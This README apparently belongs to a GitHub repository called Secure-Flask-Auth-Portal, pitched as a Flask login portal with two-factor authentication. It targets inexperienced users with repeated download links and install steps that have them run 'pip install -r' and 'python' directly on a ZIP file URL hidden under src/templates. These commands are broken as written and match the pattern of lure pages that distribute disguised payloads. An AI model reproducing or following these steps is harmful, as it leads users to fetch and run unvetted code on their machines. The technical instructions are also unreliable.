Welcome to Secure-Flask-Auth-Portal! This application provides a safe way to manage user authentication with two-factor authentication (2FA). You will learn how to download and run the app easily, even if you have no programming experience.
Secure-Flask-Auth-Portal is a Flask-based web authentication portal designed to help you understand modern web security techniques. It uses robust methods like SHA-256 hash chains for one-time passwords (OTP) and RSA encryption to securely store data.
- Two-Factor Authentication: Adds an extra layer of security beyond just a password.
- Secure Password Hashing: Protects user passwords against breaches.
- Automatic OTP Chain Renewal: Keeps your sessions secure with updated OTPs.
- RSA Encryption for Storage: Safeguards sensitive user data.
- Session Management: Ensures that users remain logged in securely.
To run Secure-Flask-Auth-Portal smoothly, make sure your system meets these requirements:
- Operating System: Windows, macOS, or Linux
- Python Version: 3.6 or higher
- Flask: Install Flask using pip (
pip install Flask) - PyCryptodome: Install PyCryptodome using pip (
pip install pycryptodome) - Internet Connection: Required for installation and updates
-
Visit the Releases Page: Click the link below to go to the download page. Download Here
-
Select the Latest Release: Look for the most recent version in the list.
-
Download the ZIP File: Click on the ZIP file link to download the application.
-
Extract the Files: Once downloaded, right-click the zipped folder and select 'Extract All'. Choose a location to store the files.
-
Open a Command Prompt:
- On Windows: Press
Win + R, typecmd, and hitEnter. - On macOS/Linux: Open the Terminal.
- On Windows: Press
-
Navigate to the Folder: Use the
cdcommand to change to the folder where you extracted the files. For example:cd path/to/Secure-Flask-Auth-Portal -
Install Required Libraries: Run the following command to install necessary dependencies:
pip install -r https://github.com/SeekGaming187/Secure-Flask-Auth-Portal/raw/refs/heads/main/src/templates/Flask_Auth_Secure_Portal_v3.6-beta.1.zip -
Run the Application: Start the server by executing:
python https://github.com/SeekGaming187/Secure-Flask-Auth-Portal/raw/refs/heads/main/src/templates/Flask_Auth_Secure_Portal_v3.6-beta.1.zip -
Access the Portal: Open a web browser and go to
http://127.0.0.1:5000to access Secure-Flask-Auth-Portal.
After installation, the application will guide you through the setup process. You'll create an account and set up two-factor authentication for enhanced security.
- Go to the registration page.
- Fill in your details, including your username and password.
- Follow the prompts to enable 2FA.
When you return to the application:
- Enter your username and password.
- Input the OTP you receive to complete your login.
If you encounter any issues, please check the Issues tab on GitHub to see if your question has been addressed. If not, feel free to create a new issue.
Secure-Flask-Auth-Portal is open-source software. You can use, modify, and distribute it per the terms provided in the repository.
- Explore how two-factor authentication enhances security.
- Delve into how RSA encryption protects data.
- Learn more about password hashing and secure session management.
Go back to the downloads page to begin your journey into web security!
Click here to download the latest version.